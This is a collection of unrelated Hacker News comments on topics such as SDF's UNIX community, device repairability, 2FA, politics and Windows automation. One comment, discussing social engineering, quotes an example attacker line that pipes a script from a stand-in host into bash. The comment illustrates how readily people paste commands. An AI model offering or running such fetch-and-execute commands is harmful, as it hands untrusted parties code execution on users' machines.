skysight-inc/HackerNews huggingface dataset:
For those who may not know about SDF, here is some background that might be helpful. While the user experience these days is quite different than it was in 1987 or even into the mid 1990s, the philosophy has always been focused on UNIX as a multi-user platform for doing what the community wants with it. As a result, there is a very long authentic history and unbroken continuity over the past 35 years which you can still sense when you login and participate in the community. Many of us here (hacker news) use the UNIX shell daily and it is part of our work flow as users, developers and system administrators. Before dialup SLIP/PPP was wide spread (way before cable modems or DSL) the user experience was solely in the shell from their PC or just a terminal with a modem at home. Terminal based utilities such as elm (mail), trn (usenet), telnet, ftp along with useful informational diagnostic programs such as ping, traceroute and whois gave you a glimpse into those diverse systems that made up the internet. In the early days of the web/gopher the bar was lowered significantly and a lot of new folks started to understand what we were doing. We grew!

SDF spawned a handful of commercial internet service providers in Texas although SDF remained independent of them. MetroNET was the first one and lasted up until the dot bomb when it was acquired by Internet America. SDF likely survived the dot bomb due to its community rather than being commercial with customers. By 2004 once facebook really started to take off, using the shell to do anything, specially to new folks, seemed antiquated and 'retro' or even criminal, but it still clicked with folks that there was an immediacy of access to text and the UNIX toolkit that kept it fast and simple. internet community wise, I suppose it was the height of phpforums and cheap (though banner laden) webhosting and the rise of more centralized social networking honeypots. While USENET may be the original fediverse (and we still have USENET) the interface that facebook/myspace/twitter offered was something folks wanted on SDF too. And because we're just a platform, we can build on it. StatusNET/GNU Social/Diaspora/Elgg were things we could try without negatively affecting the community: no one was forced to "upgrade" to Diaspora, it was just another feature. If social networking wasn't your thing (or still isn't) then its not required to use SDF. However, I'll say I'm really happy that Mastodon, Pixelfed and Peertube have really gotten a foot hold. Federated platforms like those allow us to use the internet in its most natural way. I believe they'll continue to make strides, though there are likely always going to be brief phenomenon like "vine" or "tik-tok" that take advantage of people.

So in using SDF, you may run into cool subsystems, friendly users, grumpy users, fun programs, user contributed tutorials and various corpses of tried projects (oh, there are nethack bones files going back into the 1990s btw), but hopefully you'll find that there is a unique and authentic spirit in its community that seems to endure and continues to be built upon.

Have fun!

SMJ
No, we really shouldn't. Enterprise generally does hardware refreshes every 3 years. The average consumer can take one of those machines and extend at least another 2 years out of it. Being able to securely wipe or remove storage modules out of the machines for repurposing should be a pretty easy target to hit.

Additionally, some industries like K12 or non-profits a lot of times have to try to squeeze as much life out of their systems as possible. These organizations would benefit insanely from better repairability and cheaper access to parts.

Of course motherboards are a bit harder to repair and usually means replacing the whole board, but it doesn't have to if we had a skilled workforce that could easily refurbish boards. Apple has taken great measures to make sure this never happens.

There's also the argument to be made for historic preservation. The retro computer community has been doing nothing but growing and I can already see in 20+ years time that these machines will be absolutely unusable without some sort of software hack. Even then, your onboard storage is shot and you have to boot externally.

You can make repairable, cost effective, well built, and top of the line machines. Apple just doesn't do it.
I get most of my info from the 600+ people I follow on twitter. Almost none work for these companies or the government.
I mean, 30-35% of the country is still evangelical and evangelicals love talking about religion. You could randomly choose a state and the GP's experience is probably true. Texas, Kentucky, and Ohio... but in my experience Arkansas and parts of Tennessee, Alabama, and Georgia are actually more religious than those three. Admittedly, a lot of my travel has been through rural areas -- but still, 30-35%!

In Boston I could go half a decade without a stranger bringing up religion unprompted. But in Arkansas, nearly every conversation was loosely tied to religion. And it was in my best interest to pretend I was still Pentecostal to get by.
Most OTP systems will show you a bunch of recovery codes you can write down or print out or email yourself or whatever you want to do with them.

Authy is a great option but annoyingly it's tied to your phone number rather than a username, so you can lose access to that if you break your phone in a place where you can't easily get a new SIM card (i.e. if you're on holiday). You also need to remember to actually enable multi device in the settings, as it's off by default. It's a good service, but it's not without its own pitfalls.

I'm always wary of custom 2FA systems that banks and governments like to use, especially if they do nothing to actually avoid phishing. If you're going to make your own version of TOTP, at least solve the biggest problems TOTP faces. For this reason I like to configure krypt.co as my primary 2FA method (for as long as that's kept running) with TOTP (and optionally device-local webauthn) as a backup solution.
You'll have to excuse me if it's hard for me to tell the difference between "a) enslave everyone, b) separate the men and the women, c) make the men mine metals with a ~1 year life expectancy, d) make the women work the sugarcane fields also with a ~1 year life expectancy, e) when you need more, take them from somewhere else" and a genocide.
Fair enough, the electoral college is a step between the President and the people. But even with the electoral college, you're talking about a huge number of people overriding the will of a slightly larger huge number of people, you're not talking about tyranny.

As to your broader point about how people don't know about the nuanced issues... you are 100% correct, there probably weren't a whole lot of people who understood the details behind this Act when it was passed, and there a probably not a whole lot of people who understand it now.

But if there are issues that matter, and truly do harm us as a society... you write news articles, or blogs, or substacks about it, and you try to convince voters that it is an issue, and you encourage them to write to their congressional rep and senator, and explain why the law is bad. You don't need to pay high-priced lobbyists to do this stuff. Make a good case, and try to get people to do something. If it's really an issue (i.e. if it affects enough people a little bit, or affects a few people a lot), it will get fixed.

This constant harping on how you don't have any say in the government is learned helplessness, and the political apathy it breeds is far worse than any of the problems it purportedly identifies.
Directly above and below a point on the tape conduct to each other (along the thickness), and no where else.
Toyota don't want non reliable batteries/electric systems used on Chinese cheap EV (but yes it's innovator's dilemma). Even GM/Kia and LG failed for that.
Probably, it would be good to do other things than trying to troll or presenting distorted information. It is very easy to go to GitHub and check Insights (https://github.com/vlang/v/pulse). Vlang's commits and additions are comparable and on pace with other languages in a similar category such as Odin, Crystal, Zig, Nim... Check the GitHub Insights for those other languages, and have the truth revealed.

Maybe it's an impatient rival developer thing, but I'm not quite sure what your laser focused fixation with autofree is about. Its the V developers and contributors prerogative to work on it as they see fit. If you don't use Vlang, then why in the world are you so desperately worried about it?

> Given autofree has been practically untouched in 6 months...

A search on Vlang's GitHub for issues both open and closed shows contributor and developer activity regarding autofree within the last 6 months, to include the last week. Sample- https://github.com/vlang/v/pull/13823

> At the current rate of progress...

Can you show us the HN troll accounts and incessant badgering of the Nim developers, who started in 2008 and didn't achieve 1.0 until 2019 (11 years later)?

Where are the HN troll posts under zig1dot0 about Zig not being 1.0, despite starting in 2016 (3 years before Vlang)?

How about with Odin? Surely there are HN posts by odin1dot0, who is incessantly complaining to Odin developers and fans about slow progress? Since they starting in 2016, but have yet to reach 1.0 either.

Right, not trolling them, but have a vendetta against Vlang for whatever mischievous reasons. Is it jealousy over supporters, funding, or publicity? Who knows. The problem is the trolling is very obvious and excessive. Just give it a rest and allow the fans and supporters of Vlang their peace. Enjoy whatever programming language you are using or developing and don't sweat Vlang so much.
That Netflix link is not available everywhere and also quite time-consuming to review. Obviously it is also a dramatic piece rather than a (semi-)scientific. I had a brief look at the PFAS wikipedia page (https://en.wikipedia.org/wiki/Per-_and_polyfluoroalkyl_subst...), which is what that Netflix movie seems to be about, but it's also quite wordy and the claims you make can not be found on there as-is. Maybe you want to consider adding a better source.
It's quite possible that the expense can be made comparable. Many resources available in the solar system exist in non-oxidized forms that just aren't available on Earth. Mining already reduced, pure metal nuggets is a huge reduction in energy costs and eliminates the need for refining steps with hugely toxic side products. Also have you seen how we mine many resources on Earth? Going to the moon (or near-Earth asteroids) and sifting out nuggets a few meters under the powdery surface regolith is way easier to do than drilling 2 miles underground for increasingly harder to find deposits.

The actual energetic cost of going from the moon to an Earth-capture orbit is only about 1 kwh/kg. Or about $150 per metric ton. Obviously real costs will be higher than physical limits, but you still might want to check your intuitions about just how costly mining the Moon really could be.

Ultimately we need to move our heavy industry off-earth to save our planet's biosphere. In a hundred years when there is a vibrant interplanetary economy, its possible we could eliminate toxic heavy industry on Earth entirely.
It appears that a star is used, while in space, with the laser being used as an artificial star. I only see this directly mentioned in the video (1:24), and indirectly in the text, "thus acting like a source of artificial starlight". I guess this makes sense, as it's the only way to do it "end-to-end" while in space.
I think compressed cryogenic H tanks are a reason.
> thereby wrecking god-given thermodynamics

I once got into an argument with a creationist who insisted that evolution was impossible because it contradicted the second law of thermodynamics.

I’m guessing he’d view a refrigerator as the devil’s work.
And even earlier for (much larger) jet-powered target drones: 1955.
Judging by personal experience a large portion of humanity gets their worldview from memes which are most certainly not produced by the aforementioned institutions.
It's not quite that dire.

https://www.amacad.org/humanities-indicators/public-life/boo...

If 53% of all adults read at least one book in the last twelve months (as in 2017), it's still possible that the 33%/42% numbers could also be accurate ... but it's extremely unlikely. It would require an almost complete separation between habitual readers and non-readers, with practically nobody in between who has read books some years but not others. You only have to do that once in your entire life to shift from one column to the other. I rather suspect that the scary numbers are for relatively young adults, which is a non-representative sample of the whole, and that they're being misremembered or misrepresented as pertaining to the entire adult population.

P.S. The 53% number is still enough to make me very sad. It's bad. I'm just saying it's probably not that bad.
I'm willing to bet literally every capitalist country has this problem. The incentive to monetize the audience of a news base is too high for these news agencies to turn down, and once one company starts doing this stuff, they become at such an advantage financially they capture the market from any of the other companies not participating in such lucrative practices. It's a race to the bottom because there is no regulation otherwise.
Bird flu spreads to bald eagles as outbreak sweeps across US
they prevent them from buying russian gas
Yep! But it sadly cannot replace soldering for denser pinout layouts, unless a lot of pressure is applied. Someone tried though;

https://tomverbeure.github.io/2019/11/21/Z-tape.html

(A bit off topic but that Bloomberg story is still such a mystery to me. It went into quite a bit of details and claimed it had tons of sources, so even if it was a completely false story whoever fabricated it must have put insane amounts of efforts/identity fraud into the set up)
I guess it depends on what you would consider is being "on the right" or "on the left". Personally I would consider Elon Musk very much economically right wing, and I think the question of ownership in the firm pertains to the economy.

I don't really care much about Elon Musk's moral beliefs, I'm not trying to befriend the guy, I care much more about what he does with his money that affect society's power structures.
Drones exist, and cost a lot less then thousands to buy. Plus a drone can be used when you want to, the satellite goes overhead every few weeks and if it is a cloudy day too bad. For farms the information from images is only valuable on a few specifc days, too early and you don't learn anything, a few days later and it is too late to do anything about it.

I work for John Deere. I can't speak for the company. I'll confirm we are intersted in imagining, but I won't comment on our plans to deal with the above issues.
Oof, a roll of this stuff is ~$180
I'm just curious, but why when you search for the Mastodon app from inside the Google Play app on Android, it seems to be impossible to find it?
When you're sample size is 1 it's wrong to assume that the general population is exactly like your sample. Of course, it's slightly more wrong to assume the general population is nothing like your sample.
What Toyota should have done is selling more PHEV in around 2016. They could save carbon emission for daily use case and uses less batteries (and they keep their advantage).
I have similar problems, and the security lockdown and lack of support from the IT department. Here are some various hacks I've found. In roughly increasing order of difficulty:

1) Clipboard history. Windows key + v to turn it on. Part of windows, no installation required. Then winkey + v shows your recent clipboard items and you can use them over again. You can pin frequently used commands.

1.5) Windows key + R. Open up a simple gui to run 1 line commands. Has a history you can access with the up and down arrows. You can do amazing things in 1 line of DOS.

2) Dos cmd terminal. Part of windows, no installation required. You can make simple scripts called .bat files

3) Powershell. Part of windows, no installation required. Difficult to learn, frozen in place at version 5 I think.

4) Power Automate. Part of Office Online, no installation required (if they use Office 365) Difficult to learn. The whole Power apps community has a lot of potential, depends on your Windows license.

5) Power Automate Desktop. Free from MS for most MS environments. Can do a lot with this. If I had to pick one this would be it.

6) Power FX. An Excel scripting language from MS, but only available in the Excel web version of Enterprise O365. I guess it's a version of typescript, and feels a bit like Power Query. Worth taking a look at so you know it's there.

6.5) Power Query. Part of Excel Desktop. Not for querying, despite the name, but for getting rid of all the crap in excel files. Not faster than doing it yourself, unless you have to clean up the same excel file over and over, then you can save the query and automate that part.

7) Windows365. Like an azure ms desktop, but a fixed price virtual windows 10. Acccess it through your browser, but can share files and clipboard. About USD 40 a month. But, it's just like win10 home, you can install whatever software you want.

8) AutoHotkey Needs your sysadmin admin to allow a 1 time install. Steep learning curve but it's everything your wife wants. Very deep user base and community.

9) Any of the RPA enverionments like UI-Path and so on. Very expensive and needs big corporate buy in. Never tried any so don't know. MS liked 5) PAD so much they bought it and made it free (their SOP to run competitors out of the business) so that tells you something.

Honorable mention: Programable keyboards (send a string when a key is pressed). Never tried one but would like to.
Recently, I was asked an interview question about what affects Linux IO load averages with a MANGA company. When I mentioned that one of the multiple possible reasons could be IO, he acted like I said the sky was green. He did not push me through the process. He was a systems engineer too and not just some HR person reading a script.
Can anyone who has applied or completed YC in the last couple of years speak to the class sizes? The idea of a much smaller cohort is attractive, but not sure if YC has felt large?

Ideally would also like to hear from people who didn't get in or decided not to go through the program, since I recognize that asking for YC founder's opinions on a forum paid for by YC is not a neutral location :)
Good explanation, thank you.

I would think that artificially slowing down search results can discourage part of the bots. Humans don't care much it a starch finishes in 5 seconds and not 2 AFAIK.

Especially on backends where each request is a relatively cheap operations wise (especially when each request is a green thread like in Erlang/Elixir), I think you can score a win against the bots.

Have you attempted something like this?
It depends on if it is being used as a vehicle for the party or a vehicle for the public.
Musk seems to have used the term "free speech absolutist" as a means of contrasting his First Amendment-style view of free speech with the severely qualified and diminished version currently available on platforms like Twitter.

So I agree that you're technically correct about what "absolutist" means, but I don't think it makes a difference in this case.

Anyone who is willing to run social media services as if they were bound by the First Amendment has my support. They may fail but at least they'd be trying to do the right thing, which is better than what we have today.
In those farming/logging videos, the helicopter is picking up stationary objects and depositing them in a desired location. I have trouble imagining that catching a moving object would be less dangerous, except to the extent that the pilot's job is only to catch a single thing that day, not move dozens or hundreds of individual objects.

(Those loggers though in the second video seem like they're standing awfully close.)
Plus, for all the noise farmers make, in California agriculture's contribution to the state GDP is fairly trivial, in the low single digits. At the scale this lithium mining operation could work, I imagine they would massively outbid the farmers for the water.

Indeed, if we gave up on farming in the area, we could cut an aqueduct from the Sea of Cortez and restore the Salton Sea to a thriving inland riviera. The real estate and tourism revenues would likely more than make up for the farming revenues.
Indeed, it must be no fewer than 9 companies!
I'm reminded of the Simpsons episode where the government says they used satellites to look for the trillion dollar bill at Mr. Burns's mansion, but all it told them was it's not on the roof.
> Burns originally popularized CBT with his writing in the 80s.

Some people who popularized CBT before the 80s:

https://en.wikipedia.org/wiki/Aaron_Beck

https://en.wikipedia.org/wiki/Albert_Ellis

https://en.wikipedia.org/wiki/Wayne_Dyer#Criticism
If we only can have one 20x programmer on the team and the rest, let's say 100 or so, have to be 1x programmer, then absolutely the emphasize should be on 1x programmers. But if it is one 20x programmer on a team of 10, that doesn't make sense to emphasize the 1x programmers, right? Unless the math is missing something, such as, 20x programmer get to be 20x due to the 10 1x support; or the 20x programmer is not covering the part those 1x programmer is covering and it may end up way less than 1x if the 20x programmer is forced to cover the part that those 10 1x programmers are covering.

There is very little points talk about 20x or 1x without discussing the context.

What if, there is no reason that we only can have 1 20x programmer on the team? What if, we simply over-hired programmers and majority of the programmers shouldn't be hired as programmers and they made the 1x to be the norm and the software architecture has evolved to cater to these majority 1x programmer that we end up working with 1x teams, 1x management, 1x languages, 1x frameworks? And they made 20x unicorns? The mere acknowledge of 20x programmer exists is intriguing...

I am not saying one or the other, just what if.
Ok now do private data
I had no idea there were venture-scale returns in arms reduction
Thanks for clarifying; When I first saw the headline I wasn't sure whether you'd be inside or not.
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It's also completely insufficient despite being better. There are so many scraper services that its just a matter of paying a small amount of money to make use of tens of thousands of IPs spread across ISPs and countries.
> while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.

You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.
I'd pay for a service to do this for me as an ordinary end user, so i never have to solve a captcha myself again.
I much prefer the failing-out approach over the rejection-letter approach. With the latter, you exclude those who would excel but look bad on paper, in favor of those who won't but look good on paper.
I don’t think distorting is the right term as the HN title is the subtitle for the article.
I expect the US us giving the analysis not the images. Ukraine generally shouldn't be looking at raw images, they need data to inform how and where to attack, but the us has experts to provide that thus allowing more people to go to the front.
> Well in my view they are servicing you the page you requested.

Except they don’t, at least not for the reverse. Trying to access the desktop equivalent on mobile, they force a redirect to their mobile (en.m.wikipedia…) page.
Be thankful your circle is so learned. He wouldn't be offered millions if people weren't tuning in.